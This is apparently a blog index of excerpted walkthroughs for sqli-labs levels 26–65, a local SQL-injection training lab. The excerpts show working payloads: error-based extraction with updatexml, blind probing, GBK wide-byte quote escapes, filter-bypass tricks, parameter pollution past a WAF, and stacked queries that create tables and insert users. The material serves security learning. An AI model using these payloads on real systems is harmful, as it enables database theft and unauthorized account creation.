sqli-labs
super 硕
一名专注于分享web安全的小白帽
展开
-
sqli-labs (less-62)
sqli-labs (less-62)进入62关,输入http://127.0.0.1/sql1/Less-62/?id=1竟然发现会有130次机会,这里我们可以大胆猜想这里因为是Boolean盲注了,那么到底是不是呢,我们输入http://127.0.0.1/sql1/Less-62/?id=1'没有任何错误回显,这里我也尝试了union注入,但是显然也是不行的,所以我们只有使用Boolean盲注了http://127.0.0.1/sql1/Less-62/?id=1'--+ #回显错原创 2021-03-17 20:21:54 · 397 阅读 · 0 评论 -
sqli-labs (less-65)
sqli-labs (less-65)进入65关,输入http://127.0.0.1/sql1/Less-65/?id=1http://127.0.0.1/sql1/Less-65/?id=1'http://127.0.0.1/sql1/Less-65/?id=1"没有任何错误信息,依然还是万恶的Boolean盲注http://127.0.0.1/sql1/Less-65/?id=1"--+ #回显错误http://127.0.0.1/sql1/Less-65/?id=1")--原创 2021-03-20 21:36:43 · 469 阅读 · 0 评论 -
sqli-labs (less-64)
sqli-labs (less-64)进入64关,输入http://127.0.0.1/sql1/Less-64/?id=1http://127.0.0.1/sql1/Less-64/?id=1'没有任何错误信息,又是我们的老朋友Boolean盲注http://127.0.0.1/sql1/Less-64/?id=1--+ #回显错误http://127.0.0.1/sql1/Less-64/?id=1'--+ #回显错误http://127.0.0.1/sql1/Less-64/?i原创 2021-03-20 21:36:20 · 222 阅读 · 0 评论 -
sqli-labs (less-63)
sqli-labs (less-63)进入63关http://127.0.0.1/sql1/Less-63/?id=1http://127.0.0.1/sql1/Less-63/?id=1'没有任何错误显示,唉,又是万恶的Boolean盲注http://127.0.0.1/sql1/Less-63/?id=1’–+所以判断闭合方式为1’–+,并且为字符型注入接下来的步骤我就不加赘述了,具体过程请看我的less-5...原创 2021-03-17 20:22:17 · 169 阅读 · 0 评论 -
sqli-labs (less-61)
sqli-labs (less-61)进入61关,直接输入http://127.0.0.1/sql1/Less-61/?id=1'根据错误信息,判断闭合方式为’))–+,并且为字符型注入因为有完整错误显示,所以我们使用报错注入攻击查看当前库http://127.0.0.1/sql1/Less-61/?id=1')) and updatexml(1,concat(0x7e,(database()),0x7e),1)--+查看challenges库下的所有表http://127.0.0.原创 2021-03-17 20:21:05 · 129 阅读 · 0 评论 -
sqli-labs (less-60)
sqli-labs (less-60)进入60关,直接输入http://127.0.0.1/sql1/Less-60/?id=1'页面正常,输入http://127.0.0.1/sql1/Less-60/?id=1"根据错误信息判断闭合方式为")–+,并且为字符型注入因为有完整错误信息,所以这里我们使用报错注入攻击查看当前库http://127.0.0.1/sql1/Less-60/?id=1") and updatexml(1,concat(0x7e,(database()),0x原创 2021-03-17 20:20:50 · 672 阅读 · 0 评论 -
sqli-labs (less-59)
sqli-labs (less-59)进入59关,介于less-58只有5次机会的原因,我们这里直接输入http://127.0.0.1/sql1/Less-59/?id=1'根据错误显示判断这里为数字型注入因为有完整的错误显示,所以这里我们使用报错注入攻击查看当前库http://127.0.0.1/sql1/Less-59/?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+查看challenges库下的所有表http原创 2021-03-17 20:20:08 · 204 阅读 · 0 评论 -
sqli-labs (less-58)
sqli-labs (less-58)进入58关,输入id=1这里竟然只有5次机会,经过我的多次尝试,这里使用union注入是行不通的,因为你不管怎么构造union语句他返回的用于就是用户名和密码的值http://127.0.0.1/sql1/Less-58/?id=1' 根据错误显示判断闭合方式为’–+,并且为字符型注入,因为这里有完整的报错信息,所以可以使用报错注入攻击查看当前库http://127.0.0.1/sql1/Less-58/?id=1' and updatexml(1,c原创 2021-03-17 20:19:54 · 696 阅读 · 0 评论 -
sqli-labs (less-57)
sqli-labs (less-57)进入57关,输入id=1这里我们有14次机会http://127.0.0.1/sql1/Less-57/?id=1' #页面正常http://127.0.0.1/sql1/Less-57/?id=1" #页面出错http://127.0.0.1/sql1/Less-57/?id=1"--+ #页面正常所以判断闭合方式为"–+,并且为字符型注入判断字段数http://127.0.0.1/sql1/Less-57/?id=1" order by 3--原创 2021-03-17 20:19:42 · 135 阅读 · 0 评论 -
sqli-labs (less-56)
sqli-labs (less-56)进入56关,输入id=1这里我们依然有14次机会http://127.0.0.1/sql1/Less-56/?id=1'--+ #回显错误http://127.0.0.1/sql1/Less-56/?id=1')--+ #回显正常所以闭合方式’)–+,并且为字符型注入判断字段数http://127.0.0.1/sql1/Less-56/?id=1') order by 3--+ #回显正常http://127.0.0.1/sql1/Less-56/原创 2021-03-17 20:19:30 · 259 阅读 · 0 评论 -
sqli-labs (less-55)
sqli-labs (less-55)进入55关,输入id=1这次我们有14次机会http://127.0.0.1/sql1/Less-55/?id=1--+ #回显错误http://127.0.0.1/sql1/Less-55/?id=1'--+ #回显错误http://127.0.0.1/sql1/Less-55/?id=1"--+ #回显错误http://127.0.0.1/sql1/Less-55/?id=1)--+ #回显正常所以判断这里为数字型注入判断字段数http://原创 2021-03-17 20:19:12 · 212 阅读 · 0 评论 -
sqli-labs (less-54)
sqli-labs (less-54)进入54关,我们看到了屏幕上回显了一段英语,我们去翻译看看他说的是什么意思这个意思就是我们需要在10次之内拿到KEY,不然KEY就会重置,就很接近现实里的SQL注入漏洞了,一般CTF的题目也是通过这种方式来考察的http://127.0.0.1/sql1/Less-54/?id=1http://127.0.0.1/sql1/Less-54/?id=1'没有错误回显,所以只能去猜闭合方式了这里因为只有十次机会,猜解的过程我就直接省略了,如果猜解的次原创 2021-03-17 20:18:55 · 351 阅读 · 0 评论 -
sqli-labs (less-53)
sqli-labs (less-53)进入53关,输入sort=1http://127.0.0.1/sql1/Less-53/?sort=1'因为没有完整错误回显,所以这里我们只能一个一个去猜闭合方式http://127.0.0.1/sql1/Less-53/?sort=1'--+所以判断这里闭合方式为’–+,并且为字符型注入因为这里没有完整错误回显,所以这里我们只能使用时间盲注,但是在本关中使用了mysgli multi guery()函数,而在less46-49关中使用了mysqL原创 2021-03-15 21:06:03 · 575 阅读 · 0 评论 -
sqli-labs (less-52)
sqli-labs (less-52)进入52关,输入sort=1http://127.0.0.1/sql1/Less-52/?sort=1'因为无错误回显,我们我们只能去猜闭合方式http://127.0.0.1/sql1/Less-52/?sort=1--+ #回显正常http://127.0.0.1/sql1/Less-52/?sort=1'--+ #回显错误所以判断这里为数字型注入因为这里没有完整错误回显,所以这里我们只能使用时间盲注,但是在本关中使用了mysgli mult原创 2021-03-15 20:57:24 · 748 阅读 · 0 评论 -
sqli-labs (less-51)
sqli-labs (less-51)进入51关,输入sort=1http://127.0.0.1/sql1/Less-51/?sort=1'根据错误显示判断闭合方式为’–+,并且为字符型注入这里有完整的错误回显,所以我们可以使用报错注入攻击和时间盲注,在本关中使用了mysgli multi guery()函数,而在less46-49关中使用了mysqL fetch_assoc()函数,所以这里我们也可以使用堆叠注入攻击,报错注入攻击和时间盲注我在less-46已经具体介绍过,这里我就不介绍了原创 2021-03-15 20:45:11 · 625 阅读 · 0 评论 -
sqli-labs (less-50)
sqli-labs (less-50)进入50关,输入sort=1http://127.0.0.1/sql1/Less-50/?sort=1'根据错误信息判断为数字型注入,这里发现这不跟前面有一关一模一样,但是我们通过源代码可知,在本关中使用了mysgli multi guery()函数,而在less46-49关中使用了mysqL fetch_assoc()函数,所以这里的不同点就在于本关可以使用堆叠注入的形式报错注入攻击和时间盲注的攻击在这里我就不详细介绍了,具体过程请看我的less-46,原创 2021-03-15 13:01:06 · 360 阅读 · 0 评论 -
sqli-labs (less-49)
sqli-labs (less-49)进入49关,输入sort=1http://127.0.0.1/sql1/Less-49/?sort=1'无错误回显,无法根据错误判断闭合类型http://127.0.0.1/sql1/Less-49/?sort=1'--+ #回显正常判断这里闭合方式为’–+,并且为字符型注入这里没有错误回显,所以不能使用报错注入攻击,只能使用时间盲注,时间盲注在less-46我已详细介绍,这里就不具体介绍,具体过程请看我的less-46...原创 2021-03-15 13:00:20 · 718 阅读 · 0 评论 -
sqli-labs (less-48)
sqli-labs (less-48)进入48关,输入sort=1http://127.0.0.1/sql1/Less-48/?sort=1'这里发现没有错误回显,那我们只能去猜闭合方式了http://127.0.0.1/sql1/Less-48/?sort=1--+ #回显正常http://127.0.0.1/sql1/Less-48/?sort=1'--+ #回显错误判断这里为数字型注入,因为没有错误回显所以这里我们只能使用时间盲注,时间盲注在less-46我详细的介绍了,这里我就原创 2021-03-15 12:59:42 · 435 阅读 · 0 评论 -
sqli-labs (less-47)
sqli-labs (less-47)进入47关,我们发现跟less-46一样要我们输入sort值这里我们输入sort=1试试http://127.0.0.1/sql1/Less-47/?sort=1'根据错误显示判断闭合方式为’–+,并且为字符型注入,因为有完整错误回显,所以这里可以使用报错注入攻击和时间盲注报错注入攻击查看当前库http://127.0.0.1/sql1/Less-47/?sort=1' and updatexml(1,concat(0x7e,(database()),原创 2021-03-15 12:59:02 · 656 阅读 · 0 评论 -
sqli-labs (less-46)
sqli-labs (less-46)进入46关,这时候我们发现屏幕上的显示的不是再要我们属于ID了,而是要我们输入sort,我们输入sort=1试试我们发现查询的结果是这样的,那为什么我们输入sort=1会输出这些东西呢,我们可以通过查看源代码看看这里我们发现sql语句为select * from users order by $id;,在原先的语句上加入了order by语句,那到底order by语句是什么意思呢,前面的关卡我们使用了order by语句,但都是都是为了判断字段数,这里我们来原创 2021-03-15 12:57:51 · 882 阅读 · 0 评论 -
sqli-labs (less-45)
sqli-labs (less-45)进入45关,还是那个熟悉的页面在password的位置输入admin’试试没有任何报错信息,这里也只能一个个去猜了admin# #登入失败admin'# #登入失败admin')# #登入成功判断闭合方式为’)#,并且为字符型注入这里我们直接使用堆叠注入攻击创建一个表a');create table test like users;#创建一个新的用户a');insert into users values(18,'icepeak','原创 2021-03-15 12:57:19 · 204 阅读 · 0 评论 -
sqli-labs (less-44)
sqli-labs (less-44)进入44关,发现依然是这个页面输入admin'这里发现没有错误回显了,所以我们只能去猜了admin--+ #admin'--+所以判断闭合方式为’#,并且为字符型注入这里我们直接使用堆叠注入创建一张表a';create table test like users;#创建一个新的用户a';insert into users values(18,'icepeak','icepeak');#...原创 2021-03-15 12:56:24 · 365 阅读 · 0 评论 -
sqli-labs (less-43)
sqli-labs (less-43)进入43关,发现跟less-42一模一样这次我们使用尝试在password的位置尝试是否存在SQL注入漏洞在password的位置输入admin’根据错误信息判断闭合方式为’)#,并且为字符型注入因为有完整的错误回显,这里肯定也是能使用报错注入攻击的,但是这里我们就不使用报错注入攻击了,我们直接使用堆叠注入攻击创建一张表a');create table test like users;#创建一个新用户a');insert into users原创 2021-03-14 16:08:26 · 313 阅读 · 0 评论 -
sqli-labs (less-42)
sqli-labs (less-42)进入42关,我们发现与less-24的页面好像一模一样那这里我们是否能跟less-24一样使用二次注入攻击呢,经过我的各种尝试发现这关使用二次注入是行不通的,这关我们应该使用堆叠注入攻击利用F12开发者工具将password的位置改为text,用明文查看创建一张表试试a';create table test like users;#再试试创建一个新用户a';insert into users values(18,'icepeak','icepea原创 2021-03-14 15:46:29 · 1111 阅读 · 0 评论 -
sqli-labs (less-41)
sqli-labs (less-41)进入41关,输入id=1http://127.0.0.1/sql1/Less-41/?id=1' #无错误回显因为没有任何错误显示,只能一个一个去猜http://127.0.0.1/sql1/Less-41/?id=1--+ #回显正常http://127.0.0.1/sql1/Less-41/?id=1'--+ #回显错误http://127.0.0.1/sql1/Less-41/?id=1"--+ #回显错误这里我们不使用union注入,直接原创 2021-03-14 15:29:55 · 290 阅读 · 0 评论 -
sqli-labs (less-40)
sqli-labs (less-40)进入40关,输入id=1http://127.0.0.1/sql1/Less-40/?id=1' #无错误回显因为没有错误回显,所以我们一个一个去猜闭合的方式http://127.0.0.1/sql1/Less-40/?id=1'--+ #回显错误http://127.0.0.1/sql1/Less-40/?id=1')--+ #回显正常这里我们不使用union注入,我们使用堆叠注入攻击创建一张表http://127.0.0.1/sql1/Le原创 2021-03-14 15:00:46 · 382 阅读 · 0 评论 -
sqli-labs (less-39)
sqli-labs (less-39)输入id=1http://127.0.0.1/sql1/Less-39/?id=1'根据错误显示判断为数字型注入这里我们就不讲使用union注入的方法,前面的关卡讲了很多union注入的方法,我们直接使用堆叠注入攻击创建一个表http://127.0.0.1/sql1/Less-39/?id=1;create table test like users;--+创建一个新用户http://127.0.0.1/sql1/Less-39/?id=1;原创 2021-03-14 14:52:20 · 237 阅读 · 0 评论 -
sqli-labs (less-38)
sqli-labs (less-38)进入38关,输入id=1http://127.0.0.1/sql1/Less-38/?id=1'根据错误信息判断闭合方式为’–+,并且为字符型注入确定回显位置http://127.0.0.1/sql1/Less-38/?id=-1' union select 1,2,3--+这里发现这难道跟less-1难道不是一模一样吗,所以这里我们不使用union注入,我们使用另一种注入方式:堆叠注入堆叠注入攻击堆叠查询注入攻击可以执行多条语句,多语句之间以原创 2021-03-14 14:43:51 · 682 阅读 · 0 评论 -
sqli-labs (less-37)
sqli-labs (less-37)进入37关,输入用户名和密码利用hackbar抓取POST内容uname=admin'&passwd=admin&submit=Submituname=admin&passwd=admin'&submit=Submit用户名和密码的位置单引号都被转义直接查看源代码查看是否为GBK编码确实使用了GBK编码,在单引号前面加入%df让单引号成功逃逸确定回显位置uname=a%df' union select 1,2原创 2021-03-14 13:55:15 · 368 阅读 · 0 评论 -
sqli-labs (less-36)
sqli-labs (less-36)进入36关,输入id=1http://127.0.0.1/sql1/Less-36/?id=1'查看源代码看看这关是否使用了GBK编码确定使用了GBK编码,使用%df让单引号成功逃逸就可以了http://127.0.0.1/sql1/Less-36/?id=1%df'通过错误信息判断闭合方式为’–+,并且为字符型注入确定回显位置http://127.0.0.1/sql1/Less-36/?id=-1%df' union select 1,2,原创 2021-03-14 13:42:06 · 324 阅读 · 0 评论 -
sqli-labs (less-35)
sqli-labs (less-35)进入35关,输入id=1http://127.0.0.1/sql1/Less-35/?id=1'这里单引号被转义了,我们直接查看源代码这里也使用了GBK编码,但是我们根据错误信息判断这关为数字型注入,有没有单引号都无所谓,后面只要注意进行16进制转码就可以了确定回显位置http://127.0.0.1/sql1/Less-35/?id=-1 union select 1,2,3--+接下来的步骤与less-32一模一样,这里我不具体介绍,具体过原创 2021-03-14 13:30:21 · 217 阅读 · 0 评论 -
sqli-labs (less-34)
sqli-labs (less-34)进入34关,我们发现又回到了我们熟悉的页面,我们直接输入用户名和密码登入进去像之前的关卡一样,我们输入的用户名和密码也是使用POST的方式传输到了服务器,所以我们继续使用hackbar工具抓取POST内容在用户名的位置我们输入一个单引号试试,结果发现单引号被转义那我们在密码的位置尝试输入一个单引号试试,结果发现也被转义这里一般情况下就已经没有注入点了,但我们可以查看源代码看看这关是不是也使用了GBK编码查看源代码可知确实使用了GBK编码,那就很简单原创 2021-03-14 13:18:15 · 1618 阅读 · 0 评论 -
sqli-labs (less-33)
sqli-labs (less-33)进入33关,输入id=1这里我们直接通过查看源代码查看这关是否也使用了GBK编码可知确实使用了GBK编码,所以我们在单引号前面输入%df即可让单引号成功逃逸http://127.0.0.1/sql1/Less-33/?id=1%df'根据错误显示判断闭合方式为’–+,并且为字符型注入查看回显位置http://127.0.0.1/sql1/Less-33/?id=-1%df' union select 1,2,3--+接下来的步骤与less-3原创 2021-03-13 22:47:52 · 642 阅读 · 0 评论 -
sqli-labs (less-32)
sqli-labs (less-32)进入32关,输入http://127.0.0.1/sql1/Less-32/?id=1http://127.0.0.1/sql1/Less-32/?id=1'这里我们发现我们输入的’直接被转义成\了,在一般情况下,此处是不存在SQL注入漏洞的,不过有一个特例,就是当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这时,单引号成功逃逸,原创 2021-03-13 22:38:40 · 2024 阅读 · 0 评论 -
sqli-labs (less-31)
sqli-labs (less-31)进入31,这里我们直接查看源文件依然存在login.php文件http://127.0.0.1/sql1/Less-31/login.php?id=1http://127.0.0.1/sql1/Less-31/login.php?id=1'WAF成功抵挡攻击http://127.0.0.1/sql1/Less-31/login.php?id=1&id=2http://127.0.0.1/sql1/Less-31/login.php?i原创 2021-03-13 22:04:38 · 182 阅读 · 0 评论 -
sqli-labs (less-30)
sqli-labs (less-30)进入30关。输入id=1我们直接查看源文件,发现也有login.php的文件http://127.0.0.1/sql1/Less-30/login.php?id=1http://127.0.0.1/sql1/Less-30/login.php?id=1'依然被WAF阻挡http://127.0.0.1/sql1/Less-30/login.php?id=1&id=2http://127.0.0.1/sql1/Less-30/logi原创 2021-03-13 21:55:37 · 327 阅读 · 0 评论 -
sqli-labs (less-29)
sqli-labs (less-29)进入29关,输入ID=1输入http://127.0.0.1/sql1/Less-29/?id=1' #回显错误根据错误显示,判断闭合方式为’–+,但是这里不就跟less-1一模一样了吗,我们打开less-29的源文件看看,发现不只一个页面我们输入http://127.0.0.1/sql1/Less-29/login.php?id=1输入http://127.0.0.1/sql1/Less-29/login.php?id=1'这里意思为原创 2021-03-13 21:44:06 · 715 阅读 · 0 评论 -
sqli-labs (less-28 and less-28a)
sqli-labs (less-28 and less-28a)less-28进入28关,输入ID=1查看源代码这里发现基本与27关一样,依然采用大小写混合绕过http://127.0.0.1/sql1/Less-28/?id=1' #回显错误http://127.0.0.1/sql1/Less-28/?id=1');%00 #正常显示判断闭合方式为’);%00,并且为字符型注入确定回显位置http://127.0.0.1/sql1/Less-28/?id=111') %a0 Un原创 2021-03-12 22:23:02 · 928 阅读 · 3 评论 -
sqli-labs (less-27 and less-27a)
sqli-labs (less-27 and less-27a)less-27进入27关,输入ID=1查看屏幕回显直接查看源代码发现在less-26的基础上过滤了UNION,SELECT,union,select,这里我们可以采取大小写混合过滤确定回显位置http://127.0.0.1/sql1/Less-27/?id=1111' %a0 UniOn %a0 SelECT %a0 1,2,3;%00查看当前库http://127.0.0.1/sql1/Less-27/?id=111原创 2021-03-12 22:06:48 · 926 阅读 · 0 评论 -
sqli-labs (less-26 and less-26a)
sqli-labs (less-26 and less-26a)less-26进入26关这里我们直接查看源代码看过滤了哪些字符我们发现,空格,or,and以及注释符–和#都没了这里我们可以替换替换:如and可替换为&&,or可替换为||空格的话我们可以 url 绕过:%a0 || %0b 等等,过滤字符我们可以用 and || or 替代mysql空白符:%09; %0A; %0B; %0D; %20;先输入http://127.0.0.1/sql1/Less-26/原创 2021-03-12 21:45:50 · 1301 阅读 · 0 评论